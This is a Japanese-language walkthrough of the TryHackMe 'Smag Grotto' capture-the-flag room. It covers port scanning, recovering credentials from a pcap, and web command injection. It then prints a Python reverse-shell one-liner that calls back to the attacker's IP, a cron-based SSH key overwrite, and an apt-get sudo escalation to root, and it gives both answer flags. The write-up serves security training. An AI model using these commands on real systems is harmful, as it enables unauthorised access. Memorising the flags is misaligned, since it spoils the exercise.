概要
TryHackMe「Smag Grotto」のWalkthroughです。
Task1
Q1.What is the user flag?
ポートスキャンを実行します。
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.237.122 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 74:e0:e1:b4:05:85:6a:15:68:7e:16:da:f2:c7:6b:ee (RSA)
| 256 bd:43:62:b9:a1:86:51:36:f8:c7:df:f9:0f:63:8f:a3 (ECDSA)
|_ 256 f9:e7:da:07:8f:10:af:97:0b:32:87:c9:32:d7:1b:76 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Smag
|_http-server-header: Apache/2.4.18 (Ubuntu)
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 7.2p2 |
80 | http | Apache httpd 2.4.18 |
ディレクトリを列挙を行います。
$ dirsearch -u http://10.10.195.154
[08:12:30] 200 - 907B - /mail/
[08:12:30] 301 - 313B - /mail -> http://10.10.195.154/mail/
/mail
にアクセスするとメールのやり取り、pcap
添付ファイルと、コメントアウトでBccに設定されたメールアドレスを発見しました。
pcap
添付ファイルをwiresharkで見るとhttp POSTデータからユーザー名とパスワードを得られました。
POSTリクエストのFull request URI
を見るとhttp://development.smag.thm/login.php
を指していると分かります。
/etc/hosts
にレコードを追記します。
10.10.195.154 smg.thm development.smag.thm
development.smag.thm/login.php
へアクセスするとログインフォームが表示されました。
先ほどpcapから入手したUsername: helpdesk
,Password: cH4nG3M3_n0w
でログインします。
コマンドを実行できそうです。
試しにping
でターゲットマシンからKaliへの通信を試みると成功しました。
$ sudo tcpdump -i tun0 icmp
09:20:09.089471 IP smg.thm > 10.6.55.144: ICMP echo request, id 1301, seq 1, length 64
09:20:09.089481 IP 10.6.55.144 > smg.thm: ICMP echo reply, id 1301, seq 1, length 64
下記サイトからリバースシェルのペイロードを作成します。
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.55.144",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
www-data
のシェルを取得できました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.195.154] 39358
www-data@smag:/var/www/development.smag.thm$
/home/jake/user.txt
を発見しましたが、権限がないのでjake
アカウントへの昇格を試みます。
www-data@smag:/home/jake$ cat user.txt
cat user.txt
cat: user.txt: Permission denied
/etc/crontab
でクロンジョブを確認するとジョブを一つ発見しました。
* * * * * root /bin/cat /opt/.backups/jake_id_rsa.pub.backup > /home/jake/.ssh/authorized_keys
/opt/.backups/jake_id_rsa.pub.backup
の内容を/home/jake/.ssh/authorized_keys
に上書きしています。
/opt/.backups/jake_id_rsa.pub.backup
にはjake
の公開鍵があり、読み取り、編集権限があります。
$ cat /opt/.backups/jake_id_rsa.pub.backup
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5HGAnm2nNgzDW9OPAZ9dP0tZbvNrIJWa/swbWX1dogZPCFYn8Ys3P7oNPyzXS6ku72pviGs5kQsxNWpPY94bt2zvd1J6tBw5g64ox3BhCG4cUvuI5zEi7y+xnIiTs5/MoF/gjQ2IdNDdvMs/hDj4wc2x8TFLPlCmR1b/uHydkuvdtw9WzZN1O+Ax3yEkMfB8fO3F7UqN2798wBPpRNNysQ+59zIUbV9kJpvARBILjIupikOsTs8FMMp2Um6aSpFKWzt15na0vou0riNXDTgt6WtPYxmtv1AHE4VdD6xFJrM5CGffGbYEQjvJoFX2+vSOCDEFZw1SjuajykOaEOfheuY96Ao3f41m2Sn7Y9XiDt1UP4/Ws+kxfpX2mN69+jsPYmIKY72MSSm27nWG3jRgvPZsFgFyE00ZTP5dtrmoNf0CbzQBriJUa596XEsSOMmcjgoVgQUIr+WYNGWXgpH8G+ipFP/5whaJiqPIfPfvEHbT4m5ZsSaXuDmKercFeRDs= kali@kali
$ ls -l /opt/.backups/jake_id_rsa.pub.backup
ls -l /opt/.backups/jake_id_rsa.pub.backup
-rw-rw-rw- 1 root root 563 Jun 5 2020 /opt/.backups/jake_id_rsa.pub.backup
/opt/.backups/jake_id_rsa.pub.backup
をKaliの公開鍵に置き換えます。
これでクロンジョブにより/home/jake/.ssh/authorized_keys
にKaliの公開鍵がコピーされ、SSHで対応する秘密鍵を使用してログインできるようになります。
$ echo "<kali public key>" > /opt/.backups/jake_id_rsa.pub.backup
SSHでjake
アカウントへログインします。
$ ssh jake@10.10.195.154
Enter passphrase for key '/home/kali/.ssh/id_ed25519':
jake@smag:~$
/home/jake/user.txt
からフラグを入手できます。
iusGorV7EbmxM5AuIe2w499msaSuqU3j
A.iusGorV7EbmxM5AuIe2w499msaSuqU3j
Q2.What is the root flag?
sudo -l
で確認します。
$ sudo -l
Matching Defaults entries for jake on smag:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jake may run the following commands on smag:
(ALL : ALL) NOPASSWD: /usr/bin/apt-get
/usr/bin/apt-get
が実行可能だと分かりました。
権限昇格の脆弱性を調べます。
サイト通りに実行し、root権限の取得に成功しました。
$ sudo /usr/bin/apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
# whoami
root
rootフラグを探します。
# find / -name *root.txt* 2>/dev/null
/root/root.txt
/root/root.txt
からフラグを入手できます。
uJr6zRgetaniyHVRqqL58uRasybBKz2T
A.uJr6zRgetaniyHVRqqL58uRasybBKz2T